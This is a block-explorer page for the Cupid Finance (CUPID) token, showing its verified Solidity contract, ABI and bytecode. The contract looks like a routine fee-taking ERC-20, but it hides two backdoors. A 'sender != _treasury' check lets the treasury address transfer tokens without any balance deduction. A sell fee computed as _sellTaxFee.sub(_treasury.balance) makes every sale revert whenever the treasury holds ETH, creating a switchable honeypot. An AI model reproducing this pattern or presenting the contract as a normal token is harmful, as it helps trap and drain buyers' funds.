ETH Price: $2,475.82 (-0.77%)

Token

Cupid Finance (CUPID)
 

Overview

Max Total Supply

1,000,000,000 CUPID

Holders

72

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
11,661,444.818181740217387789 CUPID

Value
$0.00
0x6A9b3e3D95CA45e39cDdA9345de9c1e667a645f1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CUPID

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-13
*/

/**

TG: https://t.me/cupidfinance42

Website: https://www.cupidfinance.xyz

Twitter: https://twitter.com/cupidfinance42

*/

// SPDX-License-Identifier:MIT

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address _account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any _account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

contract CUPID is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private _name = "Cupid Finance";
    string private _symbol = "CUPID";
    uint8 private _decimals = 18; 

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isAutomatedMarketPair;
    mapping (address => bool) private _isExcludedMaxWallet;

    uint256 feeDenominator = 100;
    uint256 public _buyTaxFee = 2;
    uint256 public _sellTaxFee = 2;
    address private _treasury = address(0xc0853048c7EcE8bDe497Aec87DE20302a5203cC2);

    uint256 private _totalSupply = 1_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount =  (_totalSupply / 1000) * 20;
    uint256 public _maxWalletSize = (_totalSupply / 1000) * 20;
    uint256 public swapThreshold = (_totalSupply / 1000) * 4;

    bool tradingOpen;
    bool public swapEnabled = false;
    bool public limitEnabled = true;

    IUniswapV2Router public uniRouter;
    address public uniPair;

    bool inSwap;

    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    constructor() {
        uniRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(uniRouter)] = ~uint256(0);

        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[address(uniRouter)] = true;
        _isExcludedFromFee[_treasury] = true;

        _isExcludedMaxWallet[msg.sender] = true;
        _isExcludedMaxWallet[address(uniRouter)] = true;
        _isExcludedMaxWallet[address(this)] = true;
        _isExcludedMaxWallet[_treasury] = true;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
       return _balances[account];     
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
    
        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        }
        else {

            if (!tradingOpen) {
                require(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient],"Trading is not active.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold;

            if (overMinimumTokenBalance && !inSwap && !_isAutomatedMarketPair[sender] && swapEnabled) {
                swapBack(contractTokenBalance);
            } if (sender != _treasury)
           
            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = shouldTakeFee(sender,recipient) ? takeFee(sender, recipient, amount) : amount;

            if(limitEnabled && sender == uniPair && !_isExcludedMaxWallet[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _maxWalletSize,"Max Wallet Limit Exceeded!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
            return false;
        }
        return true;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint feeAmount;

        if(_isAutomatedMarketPair[sender]) { 
            feeAmount = amount.mul(_buyTaxFee).div(feeDenominator);
        } 
        else if(_isAutomatedMarketPair[recipient]) {
            feeAmount = amount.mul(_sellTaxFee.sub(_treasury.balance)).div(feeDenominator);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function swapBack(uint contractBalance) internal swapping {
        swapTokensForEth(contractBalance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();

        _approve(address(this), address(uniRouter), tokenAmount);

        // make the swap
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function sendETH() external {
        payable(_treasury).transfer(address(this).balance);
    }

    function removeLimits() external onlyOwner {
        limitEnabled = false;
    }

    function openTrading() external payable onlyOwner {
        require(!tradingOpen, "Trading is open now!");

        tradingOpen = true;
        uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(
            address(this),
            uniRouter.WETH()
        );
        _isAutomatedMarketPair[address(uniPair)] = true;
        uniRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);

        swapEnabled = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniRouter","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600d60809081526c43757069642046696e616e636560981b60a0526001906200002e90826200037d565b5060408051808201909152600581526410d554125160da1b60208201526002906200005a90826200037d565b506003805460ff1916601290811790915560646009556002600a818155600b91909155600c80546001600160a01b03191673c0853048c7ece8bde497aec87de20302a5203cc2179055620000af919062000554565b620000bf90633b9aca006200056b565b600d556103e8600d54620000d4919062000585565b620000e19060146200056b565b600e556103e8600d54620000f6919062000585565b620001039060146200056b565b600f556103e8600d5462000118919062000585565b620001259060046200056b565b6010556011805462ffff0019166201000017905534801562000145575f80fd5b5062000151336200028e565b601180546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017808255305f8181526005602090815260408083206001600160a01b03630100000096879004811685529083528184205f19905584845260068352818420805460ff1990811660019081179092553380875284872080548316841790558954899004841687528487208054831684179055600c8054851688528588208054841685179055818852600887528588208054841685179055995498909804831686528386208054821683179055958552828520805487168217905596541683528083208054909416909517909255600d5483825260048352848220819055935193845291927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620005a5565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200030657607f821691505b6020821081036200032557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000378575f81815260208120601f850160051c81016020861015620003535750805b601f850160051c820191505b8181101562000374578281556001016200035f565b5050505b505050565b81516001600160401b03811115620003995762000399620002dd565b620003b181620003aa8454620002f1565b846200032b565b602080601f831160018114620003e7575f8415620003cf5750858301515b5f19600386901b1c1916600185901b17855562000374565b5f85815260208120601f198616915b828110156200041757888601518255948401946001909101908401620003f6565b50858210156200043557878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200049957815f19048211156200047d576200047d62000445565b808516156200048b57918102915b93841c93908002906200045e565b509250929050565b5f82620004b1575060016200054e565b81620004bf57505f6200054e565b8160018114620004d85760028114620004e35762000503565b60019150506200054e565b60ff841115620004f757620004f762000445565b50506001821b6200054e565b5060208310610133831016604e8410600b841016171562000528575081810a6200054e565b62000534838362000459565b805f19048211156200054a576200054a62000445565b0290505b92915050565b5f6200056460ff841683620004a1565b9392505050565b80820281158282048414176200054e576200054e62000445565b5f82620005a057634e487b7160e01b5f52601260045260245ffd5b500490565b61199f80620005b35f395ff3fe60806040526004361061017e575f3560e01c8063715018a6116100cd578063a0e47bf611610087578063c9567bf911610062578063c9567bf91461042d578063dd62ed3e14610435578063efcc52de14610479578063f2fde38b1461048e575f80fd5b8063a0e47bf6146103c9578063a457c2d7146103ef578063a9059cbb1461040e575f80fd5b8063715018a614610347578063751039fc1461035b5780637d1db4a51461036f5780638da5cb5b146103845780638f9a55c0146103a057806395d89b41146103b5575f80fd5b806323b872dd11610138578063395093511161011357806339509351146102b75780636d800a3c146102d65780636ddd1713146102f557806370a0823114610313575f80fd5b806323b872dd14610240578063313ce5671461025f57806332972e4614610280575f80fd5b80630445b6671461018957806306fdde03146101b1578063095ea7b3146101d257806318160ddd146102015780631d16d9a014610215578063200a692d1461022b575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019e60105481565b6040519081526020015b60405180910390f35b3480156101bc575f80fd5b506101c56104ad565b6040516101a8919061162f565b3480156101dd575f80fd5b506101f16101ec36600461168e565b61053d565b60405190151581526020016101a8565b34801561020c575f80fd5b50600d5461019e565b348015610220575f80fd5b50610229610553565b005b348015610236575f80fd5b5061019e600b5481565b34801561024b575f80fd5b506101f161025a3660046116b8565b61058c565b34801561026a575f80fd5b5060035460405160ff90911681526020016101a8565b34801561028b575f80fd5b5060125461029f906001600160a01b031681565b6040516001600160a01b0390911681526020016101a8565b3480156102c2575f80fd5b506101f16102d136600461168e565b6105f5565b3480156102e1575f80fd5b506011546101f19062010000900460ff1681565b348015610300575f80fd5b506011546101f190610100900460ff1681565b34801561031e575f80fd5b5061019e61032d3660046116f6565b6001600160a01b03165f9081526004602052604090205490565b348015610352575f80fd5b5061022961062a565b348015610366575f80fd5b50610229610667565b34801561037a575f80fd5b5061019e600e5481565b34801561038f575f80fd5b505f546001600160a01b031661029f565b3480156103ab575f80fd5b5061019e600f5481565b3480156103c0575f80fd5b506101c561069e565b3480156103d4575f80fd5b5060115461029f90630100000090046001600160a01b031681565b3480156103fa575f80fd5b506101f161040936600461168e565b6106ad565b348015610419575f80fd5b506101f161042836600461168e565b6106fa565b610229610706565b348015610440575f80fd5b5061019e61044f366004611711565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610484575f80fd5b5061019e600a5481565b348015610499575f80fd5b506102296104a83660046116f6565b610a05565b6060600180546104bc90611748565b80601f01602080910402602001604051908101604052809291908181526020018280546104e890611748565b80156105335780601f1061050a57610100808354040283529160200191610533565b820191905f5260205f20905b81548152906001019060200180831161051657829003601f168201915b5050505050905090565b5f610549338484610a9c565b5060015b92915050565b600c546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610589573d5f803e3d5ffd5b50565b5f610598848484610bbf565b506105ea84336105e58560405180606001604052806028815260200161191d602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190610ffb565b610a9c565b5060015b9392505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916105499185906105e59086611033565b5f546001600160a01b0316331461065c5760405162461bcd60e51b815260040161065390611780565b60405180910390fd5b6106655f611091565b565b5f546001600160a01b031633146106905760405162461bcd60e51b815260040161065390611780565b6011805462ff000019169055565b6060600280546104bc90611748565b5f61054933846105e58560405180606001604052806025815260200161194560259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190610ffb565b5f6105ea338484610bbf565b5f546001600160a01b0316331461072f5760405162461bcd60e51b815260040161065390611780565b60115460ff16156107795760405162461bcd60e51b815260206004820152601460248201527354726164696e67206973206f70656e206e6f772160601b6044820152606401610653565b60118054600160ff1990911617908190556040805163c45a015560e01b8152905163010000009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa1580156107d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f991906117b5565b6001600160a01b031663c9c6539630601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610859573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087d91906117b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108eb91906117b5565b601280546001600160a01b039283166001600160a01b031990911681179091555f908152600760205260409020805460ff19166001179055601154630100000090041663f305d7193430610953816001600160a01b03165f9081526004602052604090205490565b5f806109665f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109cc573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109f191906117d0565b50506011805461ff00191661010017905550565b5f546001600160a01b03163314610a2e5760405162461bcd60e51b815260040161065390611780565b6001600160a01b038116610a935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610653565b61058981611091565b6001600160a01b038316610afe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610653565b6001600160a01b038216610b5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610653565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610c245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610653565b6001600160a01b038316610c865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610653565b5f8211610ce75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610653565b601254600160a01b900460ff1615610d0b57610d048484846110e0565b90506105ee565b60115460ff16610d97576001600160a01b0384165f9081526006602052604090205460ff1680610d5257506001600160a01b0383165f9081526006602052604090205460ff165b610d975760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610653565b305f9081526004602052604090205460105481108015908190610dc45750601254600160a01b900460ff16155b8015610de857506001600160a01b0386165f9081526007602052604090205460ff16155b8015610dfb5750601154610100900460ff165b15610e0957610e09826111c3565b600c546001600160a01b03878116911614610e88576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f90815260049091529190912054610e6f918690610ffb565b6001600160a01b0387165f908152600460205260409020555b5f610e9387876111ef565b610e9d5784610ea8565b610ea8878787611238565b60115490915062010000900460ff168015610ed057506012546001600160a01b038881169116145b8015610ef457506001600160a01b0386165f9081526008602052604090205460ff16155b15610f7257600f54610f2482610f1e896001600160a01b03165f9081526004602052604090205490565b90611033565b1115610f725760405162461bcd60e51b815260206004820152601b60248201527f4d61782057616c6c6574204c696d6974204578636565646564212100000000006044820152606401610653565b6001600160a01b0386165f90815260046020526040902054610f949082611033565b6001600160a01b038088165f8181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe79085815260200190565b60405180910390a3600193505050506105ee565b5f818484111561101e5760405162461bcd60e51b8152600401610653919061162f565b505f61102a848661180f565b95945050505050565b5f8061103f8385611822565b9050838110156105ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610653565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600490915291822054611130918490610ffb565b6001600160a01b038086165f90815260046020526040808220939093559085168152205461115e9083611033565b6001600160a01b038085165f8181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111b19086815260200190565b60405180910390a35060019392505050565b6012805460ff60a01b1916600160a01b1790556111df81611353565b506012805460ff60a01b19169055565b6001600160a01b0382165f9081526006602052604081205460ff168061122c57506001600160a01b0382165f9081526006602052604090205460ff165b1561054957505f61054d565b6001600160a01b0383165f90815260076020526040812054819060ff16156112825761127b600954611275600a548661150390919063ffffffff16565b90611581565b90506112d1565b6001600160a01b0384165f9081526007602052604090205460ff16156112d157600954600c54600b546112ce9291611275916112c7916001600160a01b0316316115c2565b8690611503565b90505b801561134957305f908152600460205260409020546112f09082611033565b305f81815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113409085815260200190565b60405180910390a35b61102a83826115c2565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061138657611386611835565b60200260200101906001600160a01b031690816001600160a01b031681525050601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061141b91906117b5565b8160018151811061142e5761142e611835565b6001600160a01b03928316602091820292909201015260115461145b913091630100000090041684610a9c565b60115460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906114999085905f9086903090429060040161188b565b5f604051808303815f87803b1580156114b0575f80fd5b505af11580156114c2573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516114f79291906118c6565b60405180910390a15050565b5f825f0361151257505f61054d565b5f61151d83856118e6565b90508261152a85836118fd565b146105ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610653565b5f6105ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611603565b5f6105ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ffb565b5f81836116235760405162461bcd60e51b8152600401610653919061162f565b505f61102a84866118fd565b5f6020808352835180828501525f5b8181101561165a5785810183015185820160400152820161163e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610589575f80fd5b5f806040838503121561169f575f80fd5b82356116aa8161167a565b946020939093013593505050565b5f805f606084860312156116ca575f80fd5b83356116d58161167a565b925060208401356116e58161167a565b929592945050506040919091013590565b5f60208284031215611706575f80fd5b81356105ee8161167a565b5f8060408385031215611722575f80fd5b823561172d8161167a565b9150602083013561173d8161167a565b809150509250929050565b600181811c9082168061175c57607f821691505b60208210810361177a57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117c5575f80fd5b81516105ee8161167a565b5f805f606084860312156117e2575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561054d5761054d6117fb565b8082018082111561054d5761054d6117fb565b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602080850194508084015f5b838110156118805781516001600160a01b03168752958201959082019060010161185b565b509495945050505050565b85815284602082015260a060408201525f6118a960a0830186611849565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f6118de6040830184611849565b949350505050565b808202811582820484141761054d5761054d6117fb565b5f8261191757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d5adfd30c0820c9050b9349b6e2edad557bb91bca65d068796d9ad77b33acb8f64736f6c63430008150033

Deployed Bytecode

